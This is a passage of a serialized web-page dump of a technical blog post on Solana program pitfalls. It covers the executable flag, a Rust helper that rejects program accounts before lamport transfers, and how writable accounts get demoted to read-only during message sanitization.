ProgramData account.\n",{"type":21,"tag":198,"props":74166,"children":74167},{"class":200,"line":236},[74168,74173,74177,74181],{"type":21,"tag":198,"props":74169,"children":74170},{"style":226},[74171],{"type":27,"value":74172}," programdata_address",{"type":21,"tag":198,"props":74174,"children":74175},{"style":683},[74176],{"type":27,"value":185},{"type":21,"tag":198,"props":74178,"children":74179},{"style":1966},[74180],{"type":27,"value":21650},{"type":21,"tag":198,"props":74182,"children":74183},{"style":211},[74184],{"type":27,"value":257},{"type":21,"tag":198,"props":74186,"children":74187},{"class":200,"line":260},[74188],{"type":21,"tag":198,"props":74189,"children":74190},{"style":211},[74191],{"type":27,"value":74192},"},\n",{"type":21,"tag":198,"props":74194,"children":74195},{"class":200,"line":281},[74196,74201],{"type":21,"tag":198,"props":74197,"children":74198},{"style":1966},[74199],{"type":27,"value":74200},"ProgramData",{"type":21,"tag":198,"props":74202,"children":74203},{"style":211},[74204],{"type":27,"value":233},{"type":21,"tag":198,"props":74206,"children":74207},{"class":200,"line":302},[74208],{"type":21,"tag":198,"props":74209,"children":74210},{"style":1233},[74211],{"type":27,"value":74212}," /// Slot that the program was last modified.\n",{"type":21,"tag":198,"props":74214,"children":74215},{"class":200,"line":323},[74216,74221,74225,74229],{"type":21,"tag":198,"props":74217,"children":74218},{"style":226},[74219],{"type":27,"value":74220}," slot",{"type":21,"tag":198,"props":74222,"children":74223},{"style":683},[74224],{"type":27,"value":185},{"type":21,"tag":198,"props":74226,"children":74227},{"style":1966},[74228],{"type":27,"value":6673},{"type":21,"tag":198,"props":74230,"children":74231},{"style":211},[74232],{"type":27,"value":257},{"type":21,"tag":198,"props":74234,"children":74235},{"class":200,"line":344},[74236],{"type":21,"tag":198,"props":74237,"children":74238},{"style":1233},[74239],{"type":27,"value":74240}," /// Address of the Program's upgrade authority.\n",{"type":21,"tag":198,"props":74242,"children":74243},{"class":200,"line":365},[74244,74249,74253,74257,74261,74265],{"type":21,"tag":198,"props":74245,"children":74246},{"style":226},[74247],{"type":27,"value":74248}," upgrade_authority_address",{"type":21,"tag":198,"props":74250,"children":74251},{"style":683},[74252],{"type":27,"value":185},{"type":21,"tag":198,"props":74254,"children":74255},{"style":1966},[74256],{"type":27,"value":28450},{"type":21,"tag":198,"props":74258,"children":74259},{"style":211},[74260],{"type":27,"value":3159},{"type":21,"tag":198,"props":74262,"children":74263},{"style":1966},[74264],{"type":27,"value":22191},{"type":21,"tag":198,"props":74266,"children":74267},{"style":211},[74268],{"type":27,"value":6950},{"type":21,"tag":198,"props":74270,"children":74271},{"class":200,"line":386},[74272],{"type":21,"tag":198,"props":74273,"children":74274},{"style":1233},[74275],{"type":27,"value":74276}," // The raw program data follows this serialized structure in the\n",{"type":21,"tag":198,"props":74278,"children":74279},{"class":200,"line":408},[74280],{"type":21,"tag":198,"props":74281,"children":74282},{"style":1233},[74283],{"type":27,"value":74284}," // account's data.\n",{"type":21,"tag":198,"props":74286,"children":74287},{"class":200,"line":429},[74288],{"type":21,"tag":198,"props":74289,"children":74290},{"style":211},[74291],{"type":27,"value":74192},{"type":21,"tag":30,"props":74293,"children":74294},{},[74295,74297,74304],{"type":27,"value":74296},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":21,"tag":34,"props":74298,"children":74301},{"href":74299,"rel":74300},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[38],[74302],{"type":27,"value":74303},"SIMD-0162",{"type":27,"value":74305},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":21,"tag":30,"props":74307,"children":74308},{},[74309,74311,74316,74318,74323],{"type":27,"value":74310},"This change is also a ",{"type":21,"tag":6137,"props":74312,"children":74313},{},[74314],{"type":27,"value":74315},"hard requirement for supporting the new loader-v4",{"type":27,"value":74317},". Unlike the upgradable loader, which relies on a separate ",{"type":21,"tag":194,"props":74319,"children":74321},{"className":74320},[],[74322],{"type":27,"value":74200},{"type":27,"value":74324}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":21,"tag":30,"props":74326,"children":74327},{},[74328,74330,74337,74339,74344],{"type":27,"value":74329},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":21,"tag":34,"props":74331,"children":74334},{"href":74332,"rel":74333},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[38],[74335],{"type":27,"value":74336},"migrate",{"type":27,"value":74338}," from the upgradable loader to loader-v4 — without hitting the ",{"type":21,"tag":194,"props":74340,"children":74342},{"className":74341},[],[74343],{"type":27,"value":73777},{"type":27,"value":74345}," restriction.",{"type":21,"tag":162,"props":74347,"children":74349},{"id":74348},"fix-2-reject-program-accounts",[74350],{"type":27,"value":74351},"Fix 2: Reject Program Accounts",{"type":21,"tag":30,"props":74353,"children":74354},{},[74355],{"type":27,"value":74356},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":21,"tag":187,"props":74358,"children":74360},{"className":3789,"code":74359,"language":3788,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n && rent.is_exempt(balance_after, account.data_len())\n && !is_program(account))\n}\n",[74361],{"type":21,"tag":194,"props":74362,"children":74363},{"__ignoreMap":7},[74364,74440,74488,74504,74511,74550,74594,74618,74667,74695],{"type":21,"tag":198,"props":74365,"children":74366},{"class":200,"line":201},[74367,74371,74375,74380,74384,74388,74392,74396,74400,74404,74408,74412,74416,74420,74424,74428,74432,74436],{"type":21,"tag":198,"props":74368,"children":74369},{"style":249},[74370],{"type":27,"value":14497},{"type":21,"tag":198,"props":74372,"children":74373},{"style":249},[74374],{"type":27,"value":14502},{"type":21,"tag":198,"props":74376,"children":74377},{"style":698},[74378],{"type":27,"value":74379}," can_transfer_lamports",{"type":21,"tag":198,"props":74381,"children":74382},{"style":211},[74383],{"type":27,"value":706},{"type":21,"tag":198,"props":74385,"children":74386},{"style":226},[74387],{"type":27,"value":13759},{"type":21,"tag":198,"props":74389,"children":74390},{"style":683},[74391],{"type":27,"value":185},{"type":21,"tag":198,"props":74393,"children":74394},{"style":683},[74395],{"type":27,"value":7953},{"type":21,"tag":198,"props":74397,"children":74398},{"style":1966},[74399],{"type":27,"value":15743},{"type":21,"tag":198,"props":74401,"children":74402},{"style":211},[74403],{"type":27,"value":828},{"type":21,"tag":198,"props":74405,"children":74406},{"style":226},[74407],{"type":27,"value":16314},{"type":21,"tag":198,"props":74409,"children":74410},{"style":683},[74411],{"type":27,"value":185},{"type":21,"tag":198,"props":74413,"children":74414},{"style":1966},[74415],{"type":27,"value":6673},{"type":21,"tag":198,"props":74417,"children":74418},{"style":211},[74419],{"type":27,"value":1541},{"type":21,"tag":198,"props":74421,"children":74422},{"style":683},[74423],{"type":27,"value":14564},{"type":21,"tag":198,"props":74425,"children":74426},{"style":1966},[74427],{"type":27,"value":14569},{"type":21,"tag":198,"props":74429,"children":74430},{"style":211},[74431],{"type":27,"value":3159},{"type":21,"tag":198,"props":74433,"children":74434},{"style":1966},[74435],{"type":27,"value":30486},{"type":21,"tag":198,"props":74437,"children":74438},{"style":211},[74439],{"type":27,"value":8093},{"type":21,"tag":198,"props":74441,"children":74442},{"class":200,"line":217},[74443,74447,74452,74456,74460,74464,74468,74472,74476,74480,74484],{"type":21,"tag":198,"props":74444,"children":74445},{"style":249},[74446],{"type":27,"value":21061},{"type":21,"tag":198,"props":74448,"children":74449},{"style":698},[74450],{"type":27,"value":74451}," is_program",{"type":21,"tag":198,"props":74453,"children":74454},{"style":211},[74455],{"type":27,"value":706},{"type":21,"tag":198,"props":74457,"children":74458},{"style":226},[74459],{"type":27,"value":13759},{"type":21,"tag":198,"props":74461,"children":74462},{"style":683},[74463],{"type":27,"value":185},{"type":21,"tag":198,"props":74465,"children":74466},{"style":683},[74467],{"type":27,"value":7953},{"type":21,"tag":198,"props":74469,"children":74470},{"style":1966},[74471],{"type":27,"value":15743},{"type":21,"tag":198,"props":74473,"children":74474},{"style":211},[74475],{"type":27,"value":1541},{"type":21,"tag":198,"props":74477,"children":74478},{"style":683},[74479],{"type":27,"value":14564},{"type":21,"tag":198,"props":74481,"children":74482},{"style":1966},[74483],{"type":27,"value":12860},{"type":21,"tag":198,"props":74485,"children":74486},{"style":211},[74487],{"type":27,"value":233},{"type":21,"tag":198,"props":74489,"children":74490},{"class":200,"line":236},[74491,74495,74499],{"type":21,"tag":198,"props":74492,"children":74493},{"style":226},[74494],{"type":27,"value":25976},{"type":21,"tag":198,"props":74496,"children":74497},{"style":683},[74498],{"type":27,"value":658},{"type":21,"tag":198,"props":74500,"children":74501},{"style":211},[74502],{"type":27,"value":74503},"executable\n",{"type":21,"tag":198,"props":74505,"children":74506},{"class":200,"line":260},[74507],{"type":21,"tag":198,"props":74508,"children":74509},{"style":211},[74510],{"type":27,"value":1120},{"type":21,"tag":198,"props":74512,"children":74513},{"class":200,"line":281},[74514,74518,74522,74526,74530,74534,74538,74542,74546],{"type":21,"tag":198,"props":74515,"children":74516},{"style":249},[74517],{"type":27,"value":12597},{"type":21,"tag":198,"props":74519,"children":74520},{"style":226},[74521],{"type":27,"value":73271},{"type":21,"tag":198,"props":74523,"children":74524},{"style":683},[74525],{"type":27,"value":979},{"type":21,"tag":198,"props":74527,"children":74528},{"style":1966},[74529],{"type":27,"value":44226},{"type":21,"tag":198,"props":74531,"children":74532},{"style":683},[74533],{"type":27,"value":4286},{"type":21,"tag":198,"props":74535,"children":74536},{"style":698},[74537],{"type":27,"value":17155},{"type":21,"tag":198,"props":74539,"children":74540},{"style":211},[74541],{"type":27,"value":14686},{"type":21,"tag":198,"props":74543,"children":74544},{"style":683},[74545],{"type":27,"value":2156},{"type":21,"tag":198,"props":74547,"children":74548},{"style":211},[74549],{"type":27,"value":1483},{"type":21,"tag":198,"props":74551,"children":74552},{"class":200,"line":302},[74553,74557,74562,74566,74570,74574,74578,74582,74586,74590],{"type":21,"tag":198,"props":74554,"children":74555},{"style":249},[74556],{"type":27,"value":12597},{"type":21,"tag":198,"props":74558,"children":74559},{"style":226},[74560],{"type":27,"value":74561}," balance_after",{"type":21,"tag":198,"props":74563,"children":74564},{"style":683},[74565],{"type":27,"value":979},{"type":21,"tag":198,"props":74567,"children":74568},{"style":226},[74569],{"type":27,"value":6295},{"type":21,"tag":198,"props":74571,"children":74572},{"style":683},[74573],{"type":27,"value":658},{"type":21,"tag":198,"props":74575,"children":74576},{"style":698},[74577],{"type":27,"value":16314},{"type":21,"tag":198,"props":74579,"children":74580},{"style":211},[74581],{"type":27,"value":14850},{"type":21,"tag":198,"props":74583,"children":74584},{"style":683},[74585],{"type":27,"value":5193},{"type":21,"tag":198,"props":74587,"children":74588},{"style":226},[74589],{"type":27,"value":73582},{"type":21,"tag":198,"props":74591,"children":74592},{"style":211},[74593],{"type":27,"value":1483},{"type":21,"tag":198,"props":74595,"children":74596},{"class":200,"line":323},[74597,74601,74605,74609,74613],{"type":21,"tag":198,"props":74598,"children":74599},{"style":1966},[74600],{"type":27,"value":21284},{"type":21,"tag":198,"props":74602,"children":74603},{"style":211},[74604],{"type":27,"value":706},{"type":21,"tag":198,"props":74606,"children":74607},{"style":226},[74608],{"type":27,"value":13759},{"type":21,"tag":198,"props":74610,"children":74611},{"style":683},[74612],{"type":27,"value":658},{"type":21,"tag":198,"props":74614,"children":74615},{"style":211},[74616],{"type":27,"value":74617},"is_writable\n",{"type":21,"tag":198,"props":74619,"children":74620},{"class":200,"line":344},[74621,74625,74629,74633,74638,74642,74647,74651,74655,74659,74663],{"type":21,"tag":198,"props":74622,"children":74623},{"style":683},[74624],{"type":27,"value":16424},{"type":21,"tag":198,"props":74626,"children":74627},{"style":226},[74628],{"type":27,"value":73271},{"type":21,"tag":198,"props":74630,"children":74631},{"style":683},[74632],{"type":27,"value":658},{"type":21,"tag":198,"props":74634,"children":74635},{"style":698},[74636],{"type":27,"value":74637},"is_exempt",{"type":21,"tag":198,"props":74639,"children":74640},{"style":211},[74641],{"type":27,"value":706},{"type":21,"tag":198,"props":74643,"children":74644},{"style":226},[74645],{"type":27,"value":74646},"balance_after",{"type":21,"tag":198,"props":74648,"children":74649},{"style":211},[74650],{"type":27,"value":828},{"type":21,"tag":198,"props":74652,"children":74653},{"style":226},[74654],{"type":27,"value":13759},{"type":21,"tag":198,"props":74656,"children":74657},{"style":683},[74658],{"type":27,"value":658},{"type":21,"tag":198,"props":74660,"children":74661},{"style":698},[74662],{"type":27,"value":14613},{"type":21,"tag":198,"props":74664,"children":74665},{"style":211},[74666],{"type":27,"value":16463},{"type":21,"tag":198,"props":74668,"children":74669},{"class":200,"line":365},[74670,74674,74678,74683,74687,74691],{"type":21,"tag":198,"props":74671,"children":74672},{"style":683},[74673],{"type":27,"value":16424},{"type":21,"tag":198,"props":74675,"children":74676},{"style":683},[74677],{"type":27,"value":13670},{"type":21,"tag":198,"props":74679,"children":74680},{"style":698},[74681],{"type":27,"value":74682},"is_program",{"type":21,"tag":198,"props":74684,"children":74685},{"style":211},[74686],{"type":27,"value":706},{"type":21,"tag":198,"props":74688,"children":74689},{"style":226},[74690],{"type":27,"value":13759},{"type":21,"tag":198,"props":74692,"children":74693},{"style":211},[74694],{"type":27,"value":872},{"type":21,"tag":198,"props":74696,"children":74697},{"class":200,"line":386},[74698],{"type":21,"tag":198,"props":74699,"children":74700},{"style":211},[74701],{"type":27,"value":1120},{"type":21,"tag":30,"props":74703,"children":74704},{},[74705],{"type":27,"value":74706},"Now we’re safe...right?",{"type":21,"tag":59,"props":74708,"children":74710},{"id":74709},"bug-3-the-write-demotion-trap",[74711],{"type":27,"value":74712},"Bug 3: The Write-Demotion Trap",{"type":21,"tag":30,"props":74714,"children":74715},{},[74716,74718,74723,74725,74730],{"type":27,"value":74717},"On Solana, accounts passed as ",{"type":21,"tag":6137,"props":74719,"children":74720},{},[74721],{"type":27,"value":74722},"writable",{"type":27,"value":74724}," in a transaction can be ",{"type":21,"tag":6137,"props":74726,"children":74727},{},[74728],{"type":27,"value":74729},"silently downgraded to read-only",{"type":27,"value":74731},". This behavior occurs during message sanitization — even before your program runs.",{"type":21,"tag":30,"props":74733,"children":74734},{},[74735,74737,74744],{"type":27,"value":74736},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":21,"tag":34,"props":74738,"children":74741},{"href":74739,"rel":74740},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[38],[74742],{"type":27,"value":74743},"MessageV0",{"type":27,"value":74745},", but legacy is simpler to follow):",{"type":21,"tag":187,"props":74747,"children":74749},{"className":3789,"code":74748,"language":3788,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n let is_writable_account_cache = message\n .account_keys\n .iter()\n .enumerate()\n .map(|(i, _key)| {\n message.is_writable_index(i)\n && !reserved_account_keys.contains(&message.account_keys[i])\n && !message.demote_program_id(i)\n })\n .collect::\u003CVec\u003C_>>();\n Self {\n message: Cow::Owned(message),\n is_writable_account_cache,\n }\n }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[74750],{"type":21,"tag":194,"props":74751,"children":74752},{"__ignoreMap":7},[74753,74761,74785,74873,74894,74906,74922,74938,74986,75015,75069,75105,75113,75150,75162,75200,75212,75219,75226,75233,75240,75248,75308,75361],{"type":21,"tag":198,"props":74754,"children":74755},{"class":200,"line":201},[74756],{"type":21,"tag":198,"props":74757,"children":74758},{"style":1233},[74759],{"type":27,"value":74760},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":21,"tag":198,"props":74762,"children":74763},{"class":200,"line":217},[74764,74768,74773,74777,74781],{"type":21,"tag":198,"props":74765,"children":74766},{"style":249},[74767],{"type":27,"value":28998},{"type":21,"tag":198,"props":74769,"children":74770},{"style":1966},[74771],{"type":27,"value":74772}," LegacyMessage",{"type":21,"tag":198,"props":74774,"children":74775},{"style":211},[74776],{"type":27,"value":23716},{"type":21,"tag":198,"props":74778,"children":74779},{"style":1966},[74780],{"type":27,"value":3891},{"type":21,"tag":198,"props":74782,"children":74783},{"style":211},[74784],{"type":27,"value":8093},{"type":21,"tag":198,"props":74786,"children":74787},{"class":200,"line":236},[74788,74792,74796,74800,74804,74808,74812,74817,74821,74826,74830,74835,74839,74843,74848,74852,74856,74860,74864,74869],{"type":21,"tag":198,"props":74789,"children":74790},{"style":249},[74791],{"type":27,"value":21636},{"type":21,"tag":198,"props":74793,"children":74794},{"style":249},[74795],{"type":27,"value":14502},{"type":21,"tag":198,"props":74797,"children":74798},{"style":698},[74799],{"type":27,"value":737},{"type":21,"tag":198,"props":74801,"children":74802},{"style":211},[74803],{"type":27,"value":706},{"type":21,"tag":198,"props":74805,"children":74806},{"style":226},[74807],{"type":27,"value":68416},{"type":21,"tag":198,"props":74809,"children":74810},{"style":683},[74811],{"type":27,"value":185},{"type":21,"tag":198,"props":74813,"children":74814},{"style":211},[74815],{"type":27,"value":74816}," legacy",{"type":21,"tag":198,"props":74818,"children":74819},{"style":683},[74820],{"type":27,"value":4286},{"type":21,"tag":198,"props":74822,"children":74823},{"style":1966},[74824],{"type":27,"value":74825},"Message",{"type":21,"tag":198,"props":74827,"children":74828},{"style":211},[74829],{"type":27,"value":828},{"type":21,"tag":198,"props":74831,"children":74832},{"style":226},[74833],{"type":27,"value":74834},"reserved_account_keys",{"type":21,"tag":198,"props":74836,"children":74837},{"style":683},[74838],{"type":27,"value":185},{"type":21,"tag":198,"props":74840,"children":74841},{"style":683},[74842],{"type":27,"value":7953},{"type":21,"tag":198,"props":74844,"children":74845},{"style":1966},[74846],{"type":27,"value":74847},"HashSet",{"type":21,"tag":198,"props":74849,"children":74850},{"style":211},[74851],{"type":27,"value":3159},{"type":21,"tag":198,"props":74853,"children":74854},{"style":1966},[74855],{"type":27,"value":22191},{"type":21,"tag":198,"props":74857,"children":74858},{"style":211},[74859],{"type":27,"value":21241},{"type":21,"tag":198,"props":74861,"children":74862},{"style":683},[74863],{"type":27,"value":14564},{"type":21,"tag":198,"props":74865,"children":74866},{"style":249},[74867],{"type":27,"value":74868}," Self",{"type":21,"tag":198,"props":74870,"children":74871},{"style":211},[74872],{"type":27,"value":233},{"type":21,"tag":198,"props":74874,"children":74875},{"class":200,"line":260},[74876,74880,74885,74889],{"type":21,"tag":198,"props":74877,"children":74878},{"style":249},[74879],{"type":27,"value":3873},{"type":21,"tag":198,"props":74881,"children":74882},{"style":226},[74883],{"type":27,"value":74884}," is_writable_account_cache",{"type":21,"tag":198,"props":74886,"children":74887},{"style":683},[74888],{"type":27,"value":979},{"type":21,"tag":198,"props":74890,"children":74891},{"style":226},[74892],{"type":27,"value":74893}," message\n",{"type":21,"tag":198,"props":74895,"children":74896},{"class":200,"line":281},[74897,74901],{"type":21,"tag":198,"props":74898,"children":74899},{"style":683},[74900],{"type":27,"value":3974},{"type":21,"tag":198,"props":74902,"children":74903},{"style":211},[74904],{"type":27,"value":74905},"account_keys\n",{"type":21,"tag":198,"props":74907,"children":74908},{"class":200,"line":302},[74909,74913,74918],{"type":21,"tag":198,"props":74910,"children":74911},{"style":683},[74912],{"type":27,"value":3974},{"type":21,"tag":198,"props":74914,"children":74915},{"style":698},[74916],{"type":27,"value":74917},"iter",{"type":21,"tag":198,"props":74919,"children":74920},{"style":211},[74921],{"type":27,"value":1837},{"type":21,"tag":198,"props":74923,"children":74924},{"class":200,"line":323},[74925,74929,74934],{"type":21,"tag":198,"props":74926,"children":74927},{"style":683},[74928],{"type":27,"value":3974},{"type":21,"tag":198,"props":74930,"children":74931},{"style":698},[74932],{"type":27,"value":74933},"enumerate",{"type":21,"tag":198,"props":74935,"children":74936},{"style":211},[74937],{"type":27,"value":1837},{"type":21,"tag":198,"props":74939,"children":74940},{"class":200,"line":344},[74941,74945,74949,74953,74957,74961,74965,74969,74974,74978,74982],{"type":21,"tag":198,"props":74942,"children":74943},{"style":683},[74944],{"type":27,"value":3974},{"type":21,"tag":198,"props":74946,"children":74947},{"style":698},[74948],{"type":27,"value":67481},{"type":21,"tag":198,"props":74950,"children":74951},{"style":211},[74952],{"type":27,"value":706},{"type":21,"tag":198,"props":74954,"children":74955},{"style":683},[74956],{"type":27,"value":2100},{"type":21,"tag":198,"props":74958,"children":74959},{"style":211},[74960],{"type":27,"value":706},{"type":21,"tag":198,"props":74962,"children":74963},{"style":226},[74964],{"type":27,"value":4544},{"type":21,"tag":198,"props":74966,"children":74967},{"style":211},[74968],{"type":27,"value":828},{"type":21,"tag":198,"props":74970,"children":74971},{"style":226},[74972],{"type":27,"value":74973},"_key",{"type":21,"tag":198,"props":74975,"children":74976},{"style":211},[74977],{"type":27,"value":2109},{"type":21,"tag":198,"props":74979,"children":74980},{"style":683},[74981],{"type":27,"value":2100},{"type":21,"tag":198,"props":74983,"children":74984},{"style":211},[74985],{"type":27,"value":233},{"type":21,"tag":198,"props":74987,"children":74988},{"class":200,"line":365},[74989,74994,74998,75003,75007,75011],{"type":21,"tag":198,"props":74990,"children":74991},{"style":226},[74992],{"type":27,"value":74993}," message",{"type":21,"tag":198,"props":74995,"children":74996},{"style":683},[74997],{"type":27,"value":658},{"type":21,"tag":198,"props":74999,"children":75000},{"style":698},[75001],{"type":27,"value":75002},"is_writable_index",{"type":21,"tag":198,"props":75004,"children":75005},{"style":211},[75006],{"type":27,"value":706},{"type":21,"tag":198,"props":75008,"children":75009},{"style":226},[75010],{"type":27,"value":4544},{"type":21,"tag":198,"props":75012,"children":75013},{"style":211},[75014],{"type":27,"value":789},{"type":21,"tag":198,"props":75016,"children":75017},{"class":200,"line":386},[75018,75023,75027,75031,75035,75040,75044,75048,75052,75056,75061,75065],{"type":21,"tag":198,"props":75019,"children":75020},{"style":683},[75021],{"type":27,"value":75022}," &&",{"type":21,"tag":198,"props":75024,"children":75025},{"style":683},[75026],{"type":27,"value":13670},{"type":21,"tag":198,"props":75028,"children":75029},{"style":226},[75030],{"type":27,"value":74834},{"type":21,"tag":198,"props":75032,"children":75033},{"style":683},[75034],{"type":27,"value":658},{"type":21,"tag":198,"props":75036,"children":75037},{"style":698},[75038],{"type":27,"value":75039},"contains",{"type":21,"tag":198,"props":75041,"children":75042},{"style":211},[75043],{"type":27,"value":706},{"type":21,"tag":198,"props":75045,"children":75046},{"style":683},[75047],{"type":27,"value":3917},{"type":21,"tag":198,"props":75049,"children":75050},{"style":226},[75051],{"type":27,"value":68416},{"type":21,"tag":198,"props":75053,"children":75054},{"style":683},[75055],{"type":27,"value":658},{"type":21,"tag":198,"props":75057,"children":75058},{"style":211},[75059],{"type":27,"value":75060},"account_keys[",{"type":21,"tag":198,"props":75062,"children":75063},{"style":226},[75064],{"type":27,"value":4544},{"type":21,"tag":198,"props":75066,"children":75067},{"style":211},[75068],{"type":27,"value":55817},{"type":21,"tag":198,"props":75070,"children":75071},{"class":200,"line":408},[75072,75076,75080,75084,75088,75093,75097,75101],{"type":21,"tag":198,"props":75073,"children":75074},{"style":683},[75075],{"type":27,"value":75022},{"type":21,"tag":198,"props":75077,"children":75078},{"style":683},[75079],{"type":27,"value":13670},{"type":21,"tag":198,"props":75081,"children":75082},{"style":226},[75083],{"type":27,"value":68416},{"type":21,"tag":198,"props":75085,"children":75086},{"style":683},[75087],{"type":27,"value":658},{"type":21,"tag":198,"props":75089,"children":75090},{"style":698},[75091],{"type":27,"value":75092},"demote_program_id",{"type":21,"tag":198,"props":75094,"children":75095},{"style":211},[75096],{"type":27,"value":706},{"type":21,"tag":198,"props":75098,"children":75099},{"style":226},[75100],{"type":27,"value":4544},{"type":21,"tag":198,"props":75102,"children":75103},{"style":211},[75104],{"type":27,"value":789},{"type":21,"tag":198,"props":75106,"children":75107},{"class":200,"line":429},[75108],{"type":21,"tag":198,"props":75109,"children":75110},{"style":211},[75111],{"type":27,"value":75112}," })\n",{"type":21,"tag":198,"props":75114,"children":75115},{"class":200,"line":450},[75116,75120,75125,75129,75133,75137,75141,75145],{"type":21,"tag":198,"props":75117,"children":75118},{"style":683},[75119],{"type":27,"value":3974},{"type":21,"tag":198,"props":75121,"children":75122},{"style":698},[75123],{"type":27,"value":75124},"collect",{"type":21,"tag":198,"props":75126,"children":75127},{"style":683},[75128],{"type":27,"value":4286},{"type":21,"tag":198,"props":75130,"children":75131},{"style":211},[75132],{"type":27,"value":3159},{"type":21,"tag":198,"props":75134,"children":75135},{"style":1966},[75136],{"type":27,"value":18012},{"type":21,"tag":198,"props":75138,"children":75139},{"style":211},[75140],{"type":27,"value":3159},{"type":21,"tag":198,"props":75142,"children":75143},{"style":226},[75144],{"type":27,"value":3891},{"type":21,"tag":198,"props":75146,"children":75147},{"style":211},[75148],{"type":27,"value":75149},">>();\n",{"type":21,"tag":198,"props":75151,"children":75152},{"class":200,"line":468},[75153,75158],{"type":21,"tag":198,"props":75154,"children":75155},{"style":249},[75156],{"type":27,"value":75157}," Self",{"type":21,"tag":198,"props":75159,"children":75160},{"style":211},[75161],{"type":27,"value":233},{"type":21,"tag":198,"props":75163,"children":75164},{"class":200,"line":477},[75165,75170,75174,75179,75183,75188,75192,75196],{"type":21,"tag":198,"props":75166,"children":75167},{"style":226},[75168],{"type":27,"value":75169}," message",{"type":21,"tag":198,"props":75171,"children":75172},{"style":683},[75173],{"type":27,"value":185},{"type":21,"tag":198,"props":75175,"children":75176},{"style":1966},[75177],{"type":27,"value":75178}," Cow",{"type":21,"tag":198,"props":75180,"children":75181},{"style":683},[75182],{"type":27,"value":4286},{"type":21,"tag":198,"props":75184,"children":75185},{"style":698},[75186],{"type":27,"value":75187},"Owned",{"type":21,"tag":198,"props":75189,"children":75190},{"style":211},[75191],{"type":27,"value":706},{"type":21,"tag":198,"props":75193,"children":75194},{"style":226},[75195],{"type":27,"value":68416},{"type":21,"tag":198,"props":75197,"children":75198},{"style":211},[75199],{"type":27,"value":7548},{"type":21,"tag":198,"props":75201,"children":75202},{"class":200,"line":494},[75203,75208],{"type":21,"tag":198,"props":75204,"children":75205},{"style":226},[75206],{"type":27,"value":75207}," is_writable_account_cache",{"type":21,"tag":198,"props":75209,"children":75210},{"style":211},[75211],{"type":27,"value":257},{"type":21,"tag":198,"props":75213,"children":75214},{"class":200,"line":515},[75215],{"type":21,"tag":198,"props":75216,"children":75217},{"style":211},[75218],{"type":27,"value":1160},{"type":21,"tag":198,"props":75220,"children":75221},{"class":200,"line":4484},[75222],{"type":21,"tag":198,"props":75223,"children":75224},{"style":211},[75225],{"type":27,"value":880},{"type":21,"tag":198,"props":75227,"children":75228},{"class":200,"line":4493},[75229],{"type":21,"tag":198,"props":75230,"children":75231},{"style":211},[75232],{"type":27,"value":1120},{"type":21,"tag":198,"props":75234,"children":75235},{"class":200,"line":4561},[75236],{"type":21,"tag":198,"props":75237,"children":75238},{"emptyLinePlaceholder":16},[75239],{"type":27,"value":1283},{"type":21,"tag":198,"props":75241,"children":75242},{"class":200,"line":4569},[75243],{"type":21,"tag":198,"props":75244,"children":75245},{"style":1233},[75246],{"type":27,"value":75247},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":21,"tag":198,"props":75249,"children":75250},{"class":200,"line":4599},[75251,75255,75259,75264,75268,75272,75276,75280,75284,75288,75292,75296,75300,75304],{"type":21,"tag":198,"props":75252,"children":75253},{"style":249},[75254],{"type":27,"value":14497},{"type":21,"tag":198,"props":75256,"children":75257},{"style":249},[75258],{"type":27,"value":14502},{"type":21,"tag":198,"props":75260,"children":75261},{"style":698},[75262],{"type":27,"value":75263}," demote_program_id",{"type":21,"tag":198,"props":75265,"children":75266},{"style":211},[75267],{"type":27,"value":706},{"type":21,"tag":198,"props":75269,"children":75270},{"style":683},[75271],{"type":27,"value":3917},{"type":21,"tag":198,"props":75273,"children":75274},{"style":249},[75275],{"type":27,"value":14520},{"type":21,"tag":198,"props":75277,"children":75278},{"style":211},[75279],{"type":27,"value":828},{"type":21,"tag":198,"props":75281,"children":75282},{"style":226},[75283],{"type":27,"value":4544},{"type":21,"tag":198,"props":75285,"children":75286},{"style":683},[75287],{"type":27,"value":185},{"type":21,"tag":198,"props":75289,"children":75290},{"style":1966},[75291],{"type":27,"value":14538},{"type":21,"tag":198,"props":75293,"children":75294},{"style":211},[75295],{"type":27,"value":1541},{"type":21,"tag":198,"props":75297,"children":75298},{"style":683},[75299],{"type":27,"value":14564},{"type":21,"tag":198,"props":75301,"children":75302},{"style":1966},[75303],{"type":27,"value":12860},{"type":21,"tag":198,"props":75305,"children":75306},{"style":211},[75307],{"type":27,"value":233},{"type":21,"tag":198,"props":75309,"children":75310},{"class":200,"line":4607},[75311,75315,75319,75324,75328,75332,75336,75340,75344,75348,75352,75357],{"type":21,"tag":198,"props":75312,"children":75313},{"style":249},[75314],{"type":27,"value":21579},{"type":21,"tag":198,"props":75316,"children":75317},{"style":683},[75318],{"type":27,"value":658},{"type":21,"tag":198,"props":75320,"children":75321},{"style":698},[75322],{"type":27,"value":75323},"is_key_called_as_program",{"type":21,"tag":198,"props":75325,"children":75326},{"style":211},[75327],{"type":27,"value":706},{"type":21,"tag":198,"props":75329,"children":75330},{"style":226},[75331],{"type":27,"value":4544},{"type"